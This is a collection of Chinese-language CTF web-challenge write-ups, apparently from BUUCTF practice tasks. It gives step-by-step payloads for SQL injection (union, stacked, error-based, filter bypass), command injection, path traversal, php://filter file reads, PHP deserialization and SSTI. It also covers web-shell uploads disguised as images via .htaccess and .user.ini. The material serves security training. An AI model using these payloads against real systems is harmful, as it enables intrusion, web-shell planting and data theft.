[极客大挑战 2019]EasySQL
输入用户名admin,密码用一个万能密码如1’ or '1,即可获得flag
[HCTF 2018]WarmUp
查看页面源代码,发现source.php文件,打开
发现hint.php
打开试试,发现flag在ffffllllaaaagggg里
返回source.php source
根据代码要求,输入source.php?file=hint.php?ffffllllaaaagggg
发现此时图片不见了,说明输入有效,但并没有flag 所以flag可能不在当前目录 尝试加入…/遍历目录 直到输入source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg时flag出现
[极客大挑战 2019]Havefun
查看源代码,发现
所以我们使cat=dog,得到flag
[ACTF2020 新生赛]Include
点tips进去看看
查看源代码发现没有东西,想办法查看flag.php文件 利用php://filter,输入/?file=php://filter/read=convert.base64-encode/resource=flag.php 得到flag.php经过base64编码后的内容
解码,得flag
[ACTF2020 新生赛]Exec
ping一下127.0.0.1看看
输入127.0.0.1;ls / ,利用;来输入cmd命令 发现flag文件,输入127.0.0.1;cat /flag 进行查看,得到flag
[强网杯 2019]随便注
输入1’回显错误,输入1’ or ‘1’=‘1回显正常,判断是字符型注入 猜测字段数,输入到1’ order by 3#时报错,则字段数为2
查询数据库名,输入1’ union select 1,2#,发现回显大量过滤
尝试堆叠注入,输入1’;show databases;#
成功回显,说明存在堆叠注入 查看表,输入1’;show tables;# 查看words,输入输入1’; show columns from words ; # 注:使用的是(Esc下的键),用于数据库、表、索引、列和别名用的引用
发现字段id与data
查看1919810931114514,输入1’; show columns from 1919810931114514 ; #
发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名 输入1’;rename table words to word ;rename table 1919810931114514 to words ;alter table words change flag id varchar(100);show columns from words;#
再输入1’ or '1=1,就能得到flag
[SUCTF 2019]EasySQL
发现是整数型后,无论输什么都是nonono,尝试堆叠注入 输入1;show databases;# 输入1;show tables;# 输入1;show columns from Flag;# 结果回显nonono,可能存在过滤 猜测查询语句为:select “.$post[‘query’].”||flag from Flag 则输入*,1 即select *,1||flag from Flag; 这样就得到了Flag的所有字段
[GXYCTF2019]Ping Ping Ping
输入/?ip=127.0.0.1成功回显 使用;作为分割符,输入/?ip=127.0.0.1;ls 看到flag.php,输入/?ip=127.0.0.1;cat flag.php, 猜测可能是空格被过滤了,这里使用<来绕过,输入/?ip=127.0.0.1;cat<flag.php 发现符号被过滤了,换个试试 显示flag被过滤,使用’'来绕过 好,又被过滤了,那我们看一下index.php 发现好多字符被过滤和一个变量a 构造payload:/?ip=127.0.0.1;a=g;cat$IFS
9
f
l
a
9fla
9flaa.php 查看源码,得到flag
[极客大挑战 2019]Secret File
查看源码,发现./Archive_room.php 点击查看,发现./action.php点击查看,发现“查阅结束” 在secret递交时抓包发现提示secr3t.php 查看secr3t.php,发现提示 flag放在了flag.php里 查看flag.php,源码也没有信息 利用php://filter,构造/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php 将这段乱码进行base64解码,得到flag
[极客大挑战 2019]LoveSQL
使用万能密码,回显有误
这里说使用sqlmap是没有灵魂的 先判断字段数,发现字段数为3
使用联合查询,得到回显位置
查询数据库名 1’ union select 1,2,database()#
查询数据库表名 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#
查询l0ve1ysq1表的字段名 1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#
查询字段 1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1# 发现flag
[极客大挑战 2019]Knife
提示使用菜刀,不过这里我选择使用蚁剑
打开蚁剑连接
找到flag
[极客大挑战 2019]Http
查看源代码,发现Secret.php
访问页面
说明我们应该来自https://Sycsecret.buuoj.cn,抓包,修改Referer
要求使用Syclover浏览器,将User-Agent改成Syclover
要求只能进行本地访问,添加X-Forwarded-For:127.0.0.1 成功得到flag
[极客大挑战 2019]Upload
上传一句话木马试试
这里用bq抓包,修改文件格式image/jpeg和文件后缀phtml并在代码前加一个图片文件头GIF 89A进行欺骗 发现
修改一下木马文件
重新上传
用蚁剑连接/upload/1s.phtml,查看flag
[ACTF2020 新生赛]Upload
上传一个木马.php文件试试
修改文件后缀为.png,上传 抓包,在bp里修改为.phtml
上传成功
用蚁剑连接查看flag
[极客大挑战 2019]BabySQL
简单测试admin和1’后发现有注入漏洞
输入1’ order by 1#,发现存在or和by过滤
使用双写绕过1’ oorrder bbyy 1#,得到字段数为3
接下来爆字段位置,输入1’ union select 1,2,3#,发现过滤
双写绕过:1’ ununionion selselectect 1,2,3#
查数据库名:1’ ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #
查表名:1’ ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’#
查字段名:1’ ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’#
查字段值:1’ ununionion selselectect 1,2,flag frfromom ctf.Flag#
得到flag
[极客大挑战 2019]PHP
使用dirsearch扫描网站目录,发现www.zip,打开
查看index.php,发现class.php和一个php反序列化函数unserialize()
查看class.php,发现flag
构造payload:/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;},获得flag
[RoarCTF 2019]Easy Calc
查看源码,发现calc.php
查看calc.php,发现字符过滤
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
scandir() 函数:返回指定目录中的文件和目录的数组。
构造payload:/calc.php? num=1;var_dump(scandir(chr(47))) 发现flag 构造payload:/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 得到flag
[ACTF2020 新生赛]BackupFile
用dirsearch扫描目录 发现index.php.bak key必须是整数,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 php == 在进行比较的时候,会先将字符串类型转化成相同类型,再比较。如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行(从开头转数字) 即key=123 得到flag
[极客大挑战 2019]BuyFlag
查看源码
password不能是数字且要==404,所以password可以为404+任意字符, 用bp抓包,修改包使其满足:是cuit的学生,以post方式传参,正确password(404abc),100000000 Money(1e8) 得到flag
[护网杯 2018]easy_tornado
查看
将filehash去掉访问,发现 根据render,使用模板注入,构造payload:/error?msg={{handler.settings}} 记忆:handler.settings存放cookie_secret
发现cookie_secret:e6b7327c-a131-4e93-92d2-a673ced3a087, 构造filehash:md5(cookie_secret+md5(filename)),而已知filename为/fllllllllllllag 进行MD5加密得:6b31d8e5baf98dd20b879a95d24428f5 构造payload:/file?filename=/fllllllllllllag&filehash=6b31d8e5baf98dd20b879a95d24428f5
[HCTF 2018]admin
使用admin,123成功登进得到flag ------------------------------------------------------------------------------------------------------------------------ 进入change password发现一个网址
在该项目路由文件中发现strlower()函数,其中调用了nodeprep.prepare函数,nodeprep.prepare函数会将unicode字符?转换成A,A再调用一次nodeprep.prepare函数会把A转换成a,而strlower()自定义函数被调用了三次,分别是register、login、change,即注册、登陆、修改密码时都会被调用。 那么就可以使用字符?dmin进行注册,然后修改一次密码,再重新登陆就能得到flag
[BJDCTF2020]Easy MD5
查看源代码,没有东西,输个1试试,没有回显 抓个包看看 发现提示Hint: select * from ‘admin’ where password=md5($pass,true)
即需要password=md5($pass,true)条件为真时,才会执行select * form admin 当参数为true是显示的是原始 16 字符二进制格式 构造or来绕过password,md5(ffifdyop,true)='or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 输入ffifdyop后,出现 查看源码
这里是弱类型,只要使得加密后的值开头都为0e则会视为相等 构造payload:/levels91.php?a=s878926199a&b=s155964671a
这里是===,用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立 post:param1[]=1¶m2[]=2,得到flag
[ZJCTF 2019]NiZhuanSiWei
使用php伪协议,构造data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码,构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=,还有一个参数file,使用php伪协议,构造file=php://filter/read=convert.base64-encode/resource=useless.php 得到 base64解码得: 又经过password反序列化,构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
查看源码,得到flag
[MRCTF2020]你传你🐎呢
上传木马文件失败,考虑使用.htaccess文件,来改变文件扩展名,先上传.htaccess,然后上传木马文件 抓包,修改Content-Type:image/png 上传成功,接着上传.png木马文件,同样修改文件类型 上传成功
用蚁剑连接
找到flag
[极客大挑战 2019]HardSQL
发现很多字符都被过滤,但是会有报错,这里决定使用报错注入 利用UPDATEXML (XML_document, XPath_string, new_value)函数 爆库名:?username=admin’or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1 得到geek 爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=1 得到H4rDsq1
爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=1 得到id,username,password
爆字段值:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1 与?username=admin’or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1得到的值进行拼接,得到flag
[SUCTF 2019]CheckIn
创建.user.ini文件构成PHP后门,使用GIF绕过文件类型检测
先上传.user.ini,意思是当前目录中的php文件会自动去包含1s.png中的文件内容,而文件包含有一个特点就是能无条件解析php代码。所以我们再上传一张图片马1s.png,就能利用已经存在的php文件去包含图片马进而解析 用蚁剑连接,得到flag
[MRCTF2020]Ez_bypass
查看源代码 观察代码(强弱类型) 1.这里的id与gg需要是数组,以此来满足要求 2.post传参,passwd不能为数字但要==1234567,即可以是1234567a 得到flag
|